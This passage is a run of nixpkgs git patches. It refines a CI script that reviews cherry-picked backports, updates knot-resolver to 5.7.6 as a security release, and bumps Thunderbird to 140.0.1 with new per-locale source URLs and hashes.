From a11220895ff21e0b49b053c2a5dd1b05219d4693 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Wed, 16 Jul 2025 11:59:28 +0200
Subject: [PATCH 2536/4511] ci/github-script/commits: ignore whitespace on diff

This reduces noise that the cherry-pick reviews produce when formatting
related conflicts had to be resolved. We only do this in the
length-limited review comment, though. All changes, including
whitespace, can still be double-checked in the job log if needed.

(cherry picked from commit 40dcbb1483f527d919430386efb08401be8be55a)
---
 ci/github-script/commits.js | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/ci/github-script/commits.js b/ci/github-script/commits.js
index f64299c49886..7a3290faba42 100644
--- a/ci/github-script/commits.js
+++ b/ci/github-script/commits.js
@@ -70,6 +70,7 @@ module.exports = async function ({ github, context, core }) {
         __dirname,
         'range-diff',
         '--no-color',
+        '--ignore-all-space',
         '--no-notes',
         // 100 means "any change will be reported"; 0 means "no change will be reported"
         '--creation-factor=100',
@@ -119,7 +120,7 @@ module.exports = async function ({ github, context, core }) {
 
     const results = await Promise.all(commits.map(handle))
 
-    // Log all results without truncation and with better highlighting to the job log.
+    // Log all results without truncation, with better highlighting and all whitespace changes to the job log.
     results.forEach(({ sha, commit, severity, message, colored_diff }) => {
       core.startGroup(`Commit ${sha}`)
       core.info(`Author: ${commit.author.name} ${commit.author.email}`)

From e2ac5f530c666eb9927a6d4b799363a4de2e713c Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Wed, 16 Jul 2025 12:15:07 +0200
Subject: [PATCH 2537/4511] ci/github-script/commits: keep formatting for diffs
 of markdown blocks

Previously, when the diff contained a context line with ```, this would
end the code block and entirely break the markdown rendering.

Now we use the html code blocks provided by `core.summary` and properly
escape the content, so that it never escapes via html tags.

(cherry picked from commit b19798c8b03cc378373aac1a9e01cfdbb5f12305)
---
 ci/github-script/commits.js | 11 ++++++++---
 1 file changed, 8 insertions(+), 3 deletions(-)

diff --git a/ci/github-script/commits.js b/ci/github-script/commits.js
index 7a3290faba42..7ed5f94db003 100644
--- a/ci/github-script/commits.js
+++ b/ci/github-script/commits.js
@@ -179,9 +179,14 @@ module.exports = async function ({ github, context, core }) {
         }
 
         core.summary.addRaw('<details><summary>Show diff</summary>')
-        core.summary.addRaw('\n\n```diff', true)
-        core.summary.addRaw(truncated.join('\n'), true)
-        core.summary.addRaw('```', true)
+        core.summary.addCodeBlock(
+          truncated
+            .join('\n')
+            .replace(/&/g, '&amp;')
+            .replace(/</g, '&lt;')
+            .replace(/>/g, '&gt;'),
+          'diff',
+        )
         core.summary.addRaw('</details>')
       }
 

From ca425fc98d4849650158f25739f792a17eda3cdb Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Wed, 16 Jul 2025 12:28:29 +0200
Subject: [PATCH 2538/4511] ci/github-script/commits: block on errors

Most of the checks we do for cherry-picks are dismissable warnings, with
one exception: When a commit hash has been found, but this hash is not
available in any of the pickable branches, we raise this with
severity=error. This should also *block* the merge and not be
dismissable. That's because this is a fixable issue in every case.

(cherry picked from commit 1fbcad04345d37eb50aadac2d8eaf876a9a7fa15)
---
 .github/workflows/check.yml | 78 +----------------------------
 ci/github-script/commits.js | 97 +++++++++++++++++++++++++++++++++----
 2 files changed, 89 insertions(+), 86 deletions(-)

diff --git a/.github/workflows/check.yml b/.github/workflows/check.yml
index 04f38641323c..2b8dffb9f163 100644
--- a/.github/workflows/check.yml
+++ b/.github/workflows/check.yml
@@ -55,7 +55,6 @@ jobs:
 
       - name: Check cherry-picks
         id: check
-        continue-on-error: true
         uses: actions/github-script@60a0d83039c74a4aee543508d2ffcb1c3799cdea # v7.0.1
         with:
           script: |
@@ -63,84 +62,9 @@ jobs:
               github,
               context,
               core,
+              dry: context.eventName == 'pull_request',
             })
 
-      - name: Request changes
-        if: ${{ github.event_name == 'pull_request_target' && steps.check.outcome == 'failure' }}
-        uses: actions/github-script@60a0d83039c74a4aee543508d2ffcb1c3799cdea # v7.0.1
-        with:
-          script: |
-            const { readFile } = require('node:fs/promises')
-            const body = await readFile('review.md', 'utf-8')
-
-            const pendingReview = (await github.paginate(github.rest.pulls.listReviews, {
-              owner: context.repo.owner,
-              repo: context.repo.repo,
-              pull_number: context.payload.pull_request.number
-            })).find(review =>
-              review.user.login == 'github-actions[bot]' && (
-                // If a review is still pending, we can just update this instead
-                // of posting a new one.
-                review.state == 'CHANGES_REQUESTED' ||
-                // No need to post a new review, if an older one with the exact
-                // same content had already been dismissed.
-                review.body == body
-              )
-            )
-
-            // Either of those two requests could fail for very long comments. This can only happen
-            // with multiple commits all hitting the truncation limit for the diff. If you ever hit
-            // this case, consider just splitting up those commits into multiple PRs.
-            if (pendingReview) {
-              await github.rest.pulls.updateReview({
-                owner: context.repo.owner,
-                repo: context.repo.repo,
-                pull_number: context.payload.pull_request.number,
-                review_id: pendingReview.id,
-                body
-              })
-            } else {
-              await github.rest.pulls.createReview({
-                owner: context.repo.owner,
-                repo: context.repo.repo,
-                pull_number: context.payload.pull_request.number,
-                event: 'REQUEST_CHANGES',
-                body
-              })
-            }
-
-      - name: Dismiss old reviews
-        if: ${{ github.event_name == 'pull_request_target' && steps.check.outcome == 'success' }}
-        uses: actions/github-script@60a0d83039c74a4aee543508d2ffcb1c3799cdea # v7.0.1
-        with:
-          script: |
-            await Promise.all(
-              (await github.paginate(github.rest.pulls.listReviews, {
-                owner: context.repo.owner,
-                repo: context.repo.repo,
-                pull_number: context.payload.pull_request.number
-              })).filter(review =>
-                review.user.login == 'github-actions[bot]'
-              ).map(async (review) => {
-                if (review.state == 'CHANGES_REQUESTED') {
-                  await github.rest.pulls.dismissReview({
-                    owner: context.repo.owner,
-                    repo: context.repo.repo,
-                    pull_number: context.payload.pull_request.number,
-                    review_id: review.id,
-                    message: 'All cherry-picks are good now, thank you!'
-                  })
-                }
-                await github.graphql(`mutation($node_id:ID!) {
-                  minimizeComment(input: {
-                    classifier: RESOLVED,
-                    subjectId: $node_id
-                  })
-                  { clientMutationId }
-                }`, { node_id: review.node_id })
-              })
-            )
-
       - name: Log current API rate limits
         env:
           GH_TOKEN: ${{ github.token }}
diff --git a/ci/github-script/commits.js b/ci/github-script/commits.js
index 7ed5f94db003..5d0a904bdf55 100644
--- a/ci/github-script/commits.js
+++ b/ci/github-script/commits.js
@@ -1,6 +1,6 @@
-module.exports = async function ({ github, context, core }) {
+module.exports = async function ({ github, context, core, dry }) {
   const { execFileSync } = require('node:child_process')
-  const { readFile, writeFile } = require('node:fs/promises')
+  const { readFile } = require('node:fs/promises')
   const { join } = require('node:path')
   const { classify } = require('../supportedBranches.js')
   const withRateLimit = require('./withRateLimit.js')
@@ -8,6 +8,8 @@ module.exports = async function ({ github, context, core }) {
   await withRateLimit({ github, core }, async (stats) => {
     stats.prs = 1
 
+    const pull_number = context.payload.pull_request.number
+
     const job_url =
       context.runId &&
       (
@@ -17,7 +19,7 @@ module.exports = async function ({ github, context, core }) {
         })
       ).data.jobs[0].html_url +
         '?pr=' +
-        context.payload.pull_request.number
+        pull_number
 
     async function handle({ sha, commit }) {
       // Using the last line with "cherry" + hash, because a chained backport
@@ -115,7 +117,7 @@ module.exports = async function ({ github, context, core }) {
 
     const commits = await github.paginate(github.rest.pulls.listCommits, {
       ...context.repo,
-      pull_number: context.payload.pull_request.number,
+      pull_number,
     })
 
     const results = await Promise.all(commits.map(handle))
@@ -131,8 +133,46 @@ module.exports = async function ({ github, context, core }) {
     })
 
     // Only create step summary below in case of warnings or errors.
-    if (results.every(({ severity }) => severity == 'info')) return
-    else process.exitCode = 1
+    // Also clean up older reviews, when all checks are good now.
+    if (results.every(({ severity }) => severity == 'info')) {
+      if (!dry) {
+        await Promise.all(
+          (
+            await github.paginate(github.rest.pulls.listReviews, {
+              ...context.repo,
+              pull_number,
+            })
+          )
+            .filter((review) => review.user.login == 'github-actions[bot]')
+            .map(async (review) => {
+              if (review.state == 'CHANGES_REQUESTED') {
+                await github.rest.pulls.dismissReview({
+                  ...context.repo,
+                  pull_number,
+                  review_id: review.id,
+                  message: 'All cherry-picks are good now, thank you!',
+                })
+              }
+              await github.graphql(
+                `mutation($node_id:ID!) {
+                  minimizeComment(input: {
+                    classifier: RESOLVED,
+                    subjectId: $node_id
+                  })
+                  { clientMutationId }
+                }`,
+                { node_id: review.node_id },
+              )
+            }),
+        )
+      }
+      return
+    }
+
+    // In the case of "error" severity, we also fail the job.
+    // Those should be considered blocking and not be dismissable via review.
+    if (results.some(({ severity }) => severity == 'error'))
+      process.exitCode = 1
 
     core.summary.addRaw(
       await readFile(join(__dirname, 'check-cherry-picks.md'), 'utf-8'),
@@ -198,9 +238,48 @@ module.exports = async function ({ github, context, core }) {
         `\n\n_Hint: The full diffs are also available in the [runner logs](${job_url}) with slightly better highlighting._`,
       )
 
-    // Write to disk temporarily for next step in GHA.
-    await writeFile('review.md', core.summary.stringify())
-
+    const body = core.summary.stringify()
     core.summary.write()
+
+    const pendingReview = (
+      await github.paginate(github.rest.pulls.listReviews, {
+        ...context.repo,
+        pull_number,
+      })
+    ).find(
+      (review) =>
+        review.user.login == 'github-actions[bot]' &&
+        // If a review is still pending, we can just update this instead
+        // of posting a new one.
+        (review.state == 'CHANGES_REQUESTED' ||
+          // No need to post a new review, if an older one with the exact
+          // same content had already been dismissed.
+          review.body == body),
+    )
+
+    if (dry) {
+      if (pendingReview)
+        core.info('pending review found: ' + pendingReview.html_url)
+      else core.info('no pending review found')
+    } else {
+      // Either of those two requests could fail for very long comments. This can only happen
+      // with multiple commits all hitting the truncation limit for the diff. If you ever hit
+      // this case, consider just splitting up those commits into multiple PRs.
+      if (pendingReview) {
+        await github.rest.pulls.updateReview({
+          ...context.repo,
+          pull_number,
+          review_id: pendingReview.id,
+          body,
+        })
+      } else {
+        await github.rest.pulls.createReview({
+          ...context.repo,
+          pull_number,
+          event: 'REQUEST_CHANGES',
+          body,
+        })
+      }
+    }
   })
 }

From 6d867d1b0ccba9457f37b3cf55107d28f2cba111 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Wed, 16 Jul 2025 12:53:41 +0200
Subject: [PATCH 2539/4511] ci/github-script/commits: fix job_url

This broke when we moved the check-cherry-picks workflow into the bigger
PR workflow. At this time, the "workflow run" became the whole PR
workflow, which includes many more than just 1 job, thus the assumption
in `jobs[0]` doesn't hold anymore.

(cherry picked from commit c4496912fdeaa0255c13250ad0ab7996e9498b7a)
---
 ci/github-script/commits.js | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/ci/github-script/commits.js b/ci/github-script/commits.js
index 5d0a904bdf55..d382f0949d36 100644
--- a/ci/github-script/commits.js
+++ b/ci/github-script/commits.js
@@ -13,11 +13,12 @@ module.exports = async function ({ github, context, core, dry }) {
     const job_url =
       context.runId &&
       (
-        await github.rest.actions.listJobsForWorkflowRun({
+        await github.paginate(github.rest.actions.listJobsForWorkflowRun, {
           ...context.repo,
           run_id: context.runId,
+          per_page: 100,
         })
-      ).data.jobs[0].html_url +
+      ).find(({ name }) => name == 'Check / cherry-pick').html_url +
         '?pr=' +
         pull_number
 

From 414156afc57cfd860364b3ba841296686c39dfec Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Wed, 16 Jul 2025 15:15:23 +0200
Subject: [PATCH 2540/4511] ci/github-script/commits: shorten and clarify
 review comment

Also following the one-sentence-per-line rule now.

(cherry picked from commit 486756d85c20db90003cac6136380e5c1aa36a8e)
---
 ci/github-script/check-cherry-picks.md | 11 +++++++----
 1 file changed, 7 insertions(+), 4 deletions(-)

diff --git a/ci/github-script/check-cherry-picks.md b/ci/github-script/check-cherry-picks.md
index 5af41aadac5e..1b214b28eaa7 100644
--- a/ci/github-script/check-cherry-picks.md
+++ b/ci/github-script/check-cherry-picks.md
@@ -1,7 +1,10 @@
-This report is automatically generated by the `check-cherry-picks` CI workflow.
+This report is automatically generated by the `PR / Check / cherry-pick` CI workflow.
 
-Some of the commits in this PR have not been cherry-picked exactly and require the author's and reviewer's attention.
+Some of the commits in this PR require the author's and reviewer's attention.
 
-Please make sure to follow the [backporting guidelines](https://github.com/NixOS/nixpkgs/blob/master/CONTRIBUTING.md#how-to-backport-pull-requests) and cherry-pick with the `-x` flag. This requires changes to go to the unstable branches (`master` / `staging`) first, before backporting them.
+Please follow the [backporting guidelines](https://github.com/NixOS/nixpkgs/blob/master/CONTRIBUTING.md#how-to-backport-pull-requests) and cherry-pick with the `-x` flag.
+This requires changes to the unstable `master` and `staging` branches first, before backporting them.
 
-Occasionally, it is not possible to cherry-pick exactly the same patch. This most frequently happens when resolving merge conflicts while cherry-picking or when updating minor versions of packages which have already advanced to the next major on unstable. If you need to merge this PR despite the warnings, please [dismiss](https://docs.github.com/en/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/dismissing-a-pull-request-review) this review.
+Occasionally, it is not possible to cherry-pick exactly the same patch.
+This most frequently happens when resolving merge conflicts or when updating minor versions of packages which have already advanced to the next major on unstable.
+If you need to merge this PR despite the warnings, please [dismiss](https://docs.github.com/en/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/dismissing-a-pull-request-review) this review shortly before merging.

From 9efb8ed34752bba974d41e808854efdc5679a4cb Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Vladim=C3=ADr=20=C4=8Cun=C3=A1t?= <v@cunat.cz>
Date: Thu, 17 Jul 2025 11:13:52 +0200
Subject: [PATCH 2541/4511] knot-resolver: 5.7.5 -> 5.7.6

https://gitlab.nic.cz/knot/knot-resolver/-/releases/v5.7.6#security
(cherry picked from commit efd65894a4f7cca6a8670f0f38075d0662fa5329)
---
 pkgs/servers/dns/knot-resolver/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/servers/dns/knot-resolver/default.nix b/pkgs/servers/dns/knot-resolver/default.nix
index fd657e92a321..a6ae26271324 100644
--- a/pkgs/servers/dns/knot-resolver/default.nix
+++ b/pkgs/servers/dns/knot-resolver/default.nix
@@ -35,11 +35,11 @@ let
 
   unwrapped = stdenv.mkDerivation rec {
     pname = "knot-resolver";
-    version = "5.7.5";
+    version = "5.7.6";
 
     src = fetchurl {
       url = "https://secure.nic.cz/files/knot-resolver/${pname}-${version}.tar.xz";
-      sha256 = "80239cf9aa92599d9cbad4642dea5520b2ccfbc9c6f968886ea46179cb3cdf66";
+      sha256 = "500ccd3a560300e547b8dc5aaff322f7c8e2e7d6f0d7ef5f36e59cb60504d674";
     };
 
     outputs = [

From 1f5b6e53d5ccafd1c05b44a6b96f3a547ecc0b89 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Wed, 16 Jul 2025 06:58:31 +0000
Subject: [PATCH 2542/4511] thunderbird-latest-bin-unwrapped: 140.0 -> 140.0.1

(cherry picked from commit 43ef9d28722ae5e438b54330d5068a2dbf5384b6)
---
 .../thunderbird-bin/release_sources.nix       | 794 +++++++++---------
 1 file changed, 397 insertions(+), 397 deletions(-)

diff --git a/pkgs/applications/networking/mailreaders/thunderbird-bin/release_sources.nix b/pkgs/applications/networking/mailreaders/thunderbird-bin/release_sources.nix
index b022c742a775..0a4140e23b51 100644
--- a/pkgs/applications/networking/mailreaders/thunderbird-bin/release_sources.nix
+++ b/pkgs/applications/networking/mailreaders/thunderbird-bin/release_sources.nix
@@ -1,1193 +1,1193 @@
 {
-  version = "140.0";
+  version = "140.0.1";
   sources = [
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-x86_64/af/thunderbird-140.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-x86_64/af/thunderbird-140.0.1.tar.xz";
       locale = "af";
       arch = "linux-x86_64";
-      sha256 = "6354d0a716a87e2d9f86dc9a57932ffe23220832546edd57608660c9d73cf0d5";
+      sha256 = "952e3aad3cc172c8c01a5120a2e8bdf15c6b0f174cda5f56466aaefdc48a94fb";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-x86_64/ar/thunderbird-140.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-x86_64/ar/thunderbird-140.0.1.tar.xz";
       locale = "ar";
       arch = "linux-x86_64";
-      sha256 = "bdd3aa60081a66b131f9ee748e92bccac7082bbe89bc6b1bcbe34ae576018920";
+      sha256 = "d4bbea7858497b00b05574cca967b00f3f47ca7062689f711bebe456d7868fd0";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-x86_64/ast/thunderbird-140.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-x86_64/ast/thunderbird-140.0.1.tar.xz";
       locale = "ast";
       arch = "linux-x86_64";
-      sha256 = "e2d673b6987b98f4d594349cdf5a51044e121292d7c7d1a28a705be161d76892";
+      sha256 = "faca5a0cce090c368cb3f3646bb704fec9b408fb7d26ff899f087e40b9f1efe2";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-x86_64/be/thunderbird-140.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-x86_64/be/thunderbird-140.0.1.tar.xz";
       locale = "be";
       arch = "linux-x86_64";
-      sha256 = "31243db3dacdb29f952b14f65cfccd60e67fa3faf40e3b44bd54f50bcd9f28cb";
+      sha256 = "ca4bdc465ef18d4d86f19584691d927285a2cea22f1cc6cba88f1cfb859be7d1";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-x86_64/bg/thunderbird-140.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-x86_64/bg/thunderbird-140.0.1.tar.xz";
       locale = "bg";
       arch = "linux-x86_64";
-      sha256 = "ffbcf5f5a37a365af15b37223c7bd81a5b9a078f879ffc224aa99b0b10e687ce";
+      sha256 = "c6a7f48b8d959ca128033070983a9ca4323078322359b7a77d074bc515c9a422";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-x86_64/br/thunderbird-140.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-x86_64/br/thunderbird-140.0.1.tar.xz";
       locale = "br";
       arch = "linux-x86_64";
-      sha256 = "eb45793925a22ec63ba29c2312a16350db81d32ae2d290f748a48c877875b552";
+      sha256 = "984f065dffac70c374329bcb8d8e20e9ddf9f3723a9f8b7963b18c92d5d4e38e";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-x86_64/ca/thunderbird-140.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-x86_64/ca/thunderbird-140.0.1.tar.xz";
       locale = "ca";
       arch = "linux-x86_64";
-      sha256 = "30609db086163d6c56780162e9e7b97405a15325523cbf7a2826016acbf2ef20";
+      sha256 = "c9a6292e530892376743b2c31f8d3869c04d8ddbb5966a85f6cb99ff89c3bc9b";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-x86_64/cak/thunderbird-140.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-x86_64/cak/thunderbird-140.0.1.tar.xz";
       locale = "cak";
       arch = "linux-x86_64";
-      sha256 = "612bf6a5290c3f963016aade4fecb354fc7c94a40d4fc00c8a7ce4a6c1ac6e1a";
+      sha256 = "0647a8dcae9f8025716932fd960d96d2e33b0de8800d0486c52f7b3c480f2b25";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-x86_64/cs/thunderbird-140.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-x86_64/cs/thunderbird-140.0.1.tar.xz";
       locale = "cs";
       arch = "linux-x86_64";
-      sha256 = "140f8b7c77ad71a2a8eb60bebe43fde97bd72d17e3ed1728d42b2b7d2d00e0f0";
+      sha256 = "8c3a2bc33f6248da8724f997e2a485e9a187fa6394038860bb142bfa47795b03";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-x86_64/cy/thunderbird-140.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-x86_64/cy/thunderbird-140.0.1.tar.xz";
       locale = "cy";
       arch = "linux-x86_64";
-      sha256 = "67cc821c9097ad4b4ed444b2a2797263738ad84cb4447b34f6576af7bd25a191";
+      sha256 = "4ce3efb07555774750adefc7fc95d809dc2504be91fa99323c226db1106f6c9d";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-x86_64/da/thunderbird-140.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-x86_64/da/thunderbird-140.0.1.tar.xz";
       locale = "da";
       arch = "linux-x86_64";
-      sha256 = "d4e898dd01a3a22c9f48b97bfe63f12ab0c16b8d33006e427322a1b78dcefb98";
+      sha256 = "2742f7acc5b0c65f45d739e7272a19b048ff10cfec45cfd6dec9e6057b189c5e";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-x86_64/de/thunderbird-140.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-x86_64/de/thunderbird-140.0.1.tar.xz";
       locale = "de";
       arch = "linux-x86_64";
-      sha256 = "4ad26d439c433d4ed4dd0d23d73b4ccc15119d329961eeada2914d2ea14fa0d9";
+      sha256 = "e7e69418559b09086816d893025e96fc2484496669a9dafac0c0117dcbdb59f3";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-x86_64/dsb/thunderbird-140.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-x86_64/dsb/thunderbird-140.0.1.tar.xz";
       locale = "dsb";
       arch = "linux-x86_64";
-      sha256 = "bc12c9e11f42ad39871c7e58fe53645987c497ee6ac5246f06196562f4cfd412";
+      sha256 = "aa0a1c0dccf57e90c79c8e41f3ae8baf90a71f94701058d30938b8e353d7b0e3";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-x86_64/el/thunderbird-140.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-x86_64/el/thunderbird-140.0.1.tar.xz";
       locale = "el";
       arch = "linux-x86_64";
-      sha256 = "bc9559721e71a1eff511b453ddd81ec23bd2e4e61222218f3256f3b33e97fec8";
+      sha256 = "3cd186329d341baac79e4eae776a8ec4c6b0c426642881f94c7c238bc4baefb1";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-x86_64/en-CA/thunderbird-140.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-x86_64/en-CA/thunderbird-140.0.1.tar.xz";
       locale = "en-CA";
       arch = "linux-x86_64";
-      sha256 = "0d563912d384682e5f71cdd2b4800c3331ad7f59cbdd1a47bfe46786d0d93540";
+      sha256 = "c1df00bb53f2c626a6bbb3020145e03a3baf5984488c47589c66fd25f299024b";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-x86_64/en-GB/thunderbird-140.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-x86_64/en-GB/thunderbird-140.0.1.tar.xz";
       locale = "en-GB";
       arch = "linux-x86_64";
-      sha256 = "221a194d22ce3d370a10f0abebf35bd3ca3f5c7e0077ea70b45a9641283c71c9";
+      sha256 = "269c8cbea689363fdbe7fe25f7cb0e3829ca360dd9b130d80a805db7924449f2";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-x86_64/en-US/thunderbird-140.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-x86_64/en-US/thunderbird-140.0.1.tar.xz";
       locale = "en-US";
       arch = "linux-x86_64";
-      sha256 = "ffc88e3bd1bdf0d4318e550c00ed90a1ca8f18b60c4bc29f37284fba95ecf696";
+      sha256 = "97ba814fb587b8ec4f83a5b513e6d2147d9d9c3716f2e7207e60ba8c2cdb3d37";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-x86_64/es-AR/thunderbird-140.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-x86_64/es-AR/thunderbird-140.0.1.tar.xz";
       locale = "es-AR";
       arch = "linux-x86_64";
-      sha256 = "cd5f41c9f8eb8a00add3e2a5f57ba80d9ededc061da7a0d3a36dd232e3e196ab";
+      sha256 = "6d7abb1a06a8c4b47cdc32fd6d3a74556ec1d85a892a2de9d6d466bb98189904";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-x86_64/es-ES/thunderbird-140.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-x86_64/es-ES/thunderbird-140.0.1.tar.xz";
       locale = "es-ES";
       arch = "linux-x86_64";
-      sha256 = "7ad1a1711db299378df882740a2da3564c69e7c27c55616aaec9813f8d8d2b53";
+      sha256 = "da6a8415c1b7525790698008bbe025894f6a28719fb65e4ad4e141f625e80914";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-x86_64/es-MX/thunderbird-140.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-x86_64/es-MX/thunderbird-140.0.1.tar.xz";
       locale = "es-MX";
       arch = "linux-x86_64";
-      sha256 = "71d6812accf0b8a9e833ae7c8b1f6dadfe7ac61ae3e58364b1a131490d97be95";
+      sha256 = "962bf2a184f36a0ee69f934086d4d3d1f0ceac9145fbcf6ea05daa2bacb89ecf";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-x86_64/et/thunderbird-140.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-x86_64/et/thunderbird-140.0.1.tar.xz";
       locale = "et";
       arch = "linux-x86_64";
-      sha256 = "01b630c2f27f1f62e1ec77c557ce62eaf7caca3b614e9d2ccc8f8ab89fb972c9";
+      sha256 = "fdc07fa22f0fdfc59ef15c190b9d7c46a3b6406ccfec4d6faededc3e9fe6ca92";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-x86_64/eu/thunderbird-140.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-x86_64/eu/thunderbird-140.0.1.tar.xz";
       locale = "eu";
       arch = "linux-x86_64";
-      sha256 = "228c87bc59c30cb64480025b9587f7796cb35d98f6ce3529b816cb2385cafc12";
+      sha256 = "157541494884dabc5925f888fb6fc0119654a1c2771cf04172494d76307cd327";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-x86_64/fi/thunderbird-140.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-x86_64/fi/thunderbird-140.0.1.tar.xz";
       locale = "fi";
       arch = "linux-x86_64";
-      sha256 = "f880467f6947ca1a67534f6483cd8c4130cc8611dee3596e0f7be2e2c8cf7fe1";
+      sha256 = "865a71fc3c4748992ff9bfe90566f510c069c2ffbc0f98e828dd5461b02fd273";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-x86_64/fr/thunderbird-140.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-x86_64/fr/thunderbird-140.0.1.tar.xz";
       locale = "fr";
       arch = "linux-x86_64";
-      sha256 = "262c951e723aadac59be50279b2c0cb2cdf853dd7d7702f4d1f67eddf536116a";
+      sha256 = "23e66ee77565e99a8c7b8a8b8291472390589a238acd7db4a05afa242b640448";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-x86_64/fy-NL/thunderbird-140.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-x86_64/fy-NL/thunderbird-140.0.1.tar.xz";
       locale = "fy-NL";
       arch = "linux-x86_64";
-      sha256 = "e071dc9b626ba983ab3269272c61b95247cd4fa99b69ab0ed4059bdd750016c2";
+      sha256 = "5d7506774259f173e9b35f9d85e99ded1cbb9cce7a0e7aa5d6a984d5ed7bf90c";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-x86_64/ga-IE/thunderbird-140.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-x86_64/ga-IE/thunderbird-140.0.1.tar.xz";
       locale = "ga-IE";
       arch = "linux-x86_64";
-      sha256 = "905da7820ad428b8b6ceddf01a3bbbed545956e4b84663fb06b2b8c5e49fb52c";
+      sha256 = "3e804d5be1b2184a6433154d6abd7bbc0a927db11f7bd4f653d6a18c25ce8a51";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-x86_64/gd/thunderbird-140.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-x86_64/gd/thunderbird-140.0.1.tar.xz";
       locale = "gd";
       arch = "linux-x86_64";
-      sha256 = "f804b289a4cb9caa0cf68325be33ffdfd0692108e021e18b6671229651c98231";
+      sha256 = "53c7db7a07260a3383a70dcf3adeac7d7e5d7d167bcb5957097e7aabf317364d";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-x86_64/gl/thunderbird-140.0.tar.xz";
